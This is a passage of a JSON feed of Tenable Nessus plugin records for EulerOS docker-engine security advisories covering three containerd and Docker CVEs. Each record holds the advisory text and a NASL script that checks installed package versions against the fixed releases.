download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where\n pulling and extracting a specially-crafted container image can result in Unix file permission changes for\n existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner\n of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does\n not directly allow files to be read, modified, or executed without an additional cooperating process. This\n bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from\n trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially\n affected by this bug through policies and profiles that prevent containerd from interacting with specific\n files. (CVE-2021-32760)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security\nadvisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional\nissues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2022-1501\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?d066788c\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected docker-engine packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-32760\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2022/04/20\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/04/20\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine-selinux\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nvar release = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nvar uvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP10\");\n\nvar sp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(10)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP10\");\n\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP10\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nvar flag = 0;\n\nvar pkgs = [\n \"docker-engine-18.09.0.200-200.h41.25.14.eulerosv2r10\",\n \"docker-engine-selinux-18.09.0.200-200.h41.25.14.eulerosv2r10\"\n];\n\nforeach (var pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"10\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"docker-engine\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-21T21:38:45", "description": "According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files. (CVE-2021-32760)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 6.3, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L"}, "published": "2022-04-21T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP10 : docker-engine (EulerOS-SA-2022-1482)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157", "CVE-2021-32760"], "modified": "2022-04-21T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:docker-engine", "p-cpe:/a:huawei:euleros:docker-engine-selinux", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2022-1482.NASL", "href": "https://www.tenable.com/plugins/nessus/160042", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(160042);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/04/21\");\n\n script_cve_id(\"CVE-2020-15157\", \"CVE-2021-32760\");\n\n script_name(english:\"EulerOS 2.0 SP10 : docker-engine (EulerOS-SA-2022-1482)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is\naffected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where\n pulling and extracting a specially-crafted container image can result in Unix file permission changes for\n existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner\n of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does\n not directly allow files to be read, modified, or executed without an additional cooperating process. This\n bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from\n trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially\n affected by this bug through policies and profiles that prevent containerd from interacting with specific\n files. (CVE-2021-32760)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security\nadvisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional\nissues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2022-1482\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?8be201f3\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected docker-engine packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-32760\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2022/04/20\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/04/21\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine-selinux\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nvar release = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nvar uvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP10\");\n\nvar sp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(10)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP10\");\n\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP10\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nvar flag = 0;\n\nvar pkgs = [\n \"docker-engine-18.09.0.200-200.h41.25.14.eulerosv2r10\",\n \"docker-engine-selinux-18.09.0.200-200.h41.25.14.eulerosv2r10\"\n];\n\nforeach (var pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"10\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"docker-engine\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-06T23:32:07", "description": "According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\n - In Docker before versions 9.03.15, 20.10.3 there is a vulnerability involving the --userns-remap option in which access to remapped root allows privilege escalation to real root. When using '--userns-remap', if the root user in the remapped namespace has access to the host filesystem they can modify files under '/var/lib/docker/<remapping>' that cause writing files with extended privileges. Versions 20.10.3 and 19.03.15 contain patches that prevent privilege escalation from remapped user. (CVE-2021-21284)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files. (CVE-2021-32760)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 6.8, "vector": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N"}, "published": "2022-04-18T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP9 : docker-engine (EulerOS-SA-2022-1424)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157", "CVE-2021-21284", "CVE-2021-32760"], "modified": "2022-05-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:docker-engine", "p-cpe:/a:huawei:euleros:docker-engine-selinux", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2022-1424.NASL", "href": "https://www.tenable.com/plugins/nessus/159804", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(159804);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/06\");\n\n script_cve_id(\"CVE-2020-15157\", \"CVE-2021-21284\", \"CVE-2021-32760\");\n\n script_name(english:\"EulerOS 2.0 SP9 : docker-engine (EulerOS-SA-2022-1424)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is\naffected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\n - In Docker before versions 9.03.15, 20.10.3 there is a vulnerability involving the --userns-remap option in\n which access to remapped root allows privilege escalation to real root. When using '--userns-remap', if\n the root user in the remapped namespace has access to the host filesystem they can modify files under\n '/var/lib/docker/<remapping>' that cause writing files with extended privileges. Versions 20.10.3 and\n 19.03.15 contain patches that prevent privilege escalation from remapped user. (CVE-2021-21284)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where\n pulling and extracting a specially-crafted container image can result in Unix file permission changes for\n existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner\n of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does\n not directly allow files to be read, modified, or executed without an additional cooperating process. This\n bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from\n trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially\n affected by this bug through policies and profiles that prevent containerd from interacting with specific\n files. (CVE-2021-32760)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security\nadvisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional\nissues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2022-1424\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?9df58b92\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected docker-engine packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-32760\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-21284\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2022/04/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/04/18\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:docker-engine-selinux\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nvar release = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nvar uvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP9\");\n\nvar sp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(9)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP9\");\n\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP9\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nvar cpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nvar flag = 0;\n\nvar pkgs = [\n \"docker-engine-18.09.0.129-1.h55.25.11.eulerosv2r9\",\n \"docker-engine-selinux-18.09.0.129-1.h55.25.11.eulerosv2r9\"\n];\n\nforeach (var pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"9\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"docker-engine\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-06T23:32:29", "description": "According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\n - In Docker before versions 9.03.15, 20.10.3 there is a vulnerability involving the --userns-remap option in which access to remapped root allows privilege escalation to real root. When using '--userns-remap', if the root user in the remapped namespace has access to the host filesystem they can modify files under '/var/lib/docker/<remapping>' that cause writing files with extended privileges. Versions 20.10.3 and 19.03.15 contain patches that prevent privilege escalation from remapped user. (CVE-2021-21284)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files. (CVE-2021-32760)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 6.8, "vector": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N"}, "published": "2022-04-18T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP9 : docker-engine (EulerOS-SA-2022-1445)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157", "CVE-2021-21284", "CVE-2021-32760"], "modified": "2022-05-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:docker-engine", "p-cpe:/a:huawei:euleros:docker-engine-selinux", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2022-1445.NASL", "href": "https://www.tenable.com/plugins/nessus/159808", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(159808);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/06\");\n\n script_cve_id(\"CVE-2020-15157\", \"CVE-2021-21284\", \"CVE-2021-32760\");\n\n script_name(english:\"EulerOS 2.0 SP9 : docker-engine (EulerOS-SA-2022-1445)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is\naffected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver 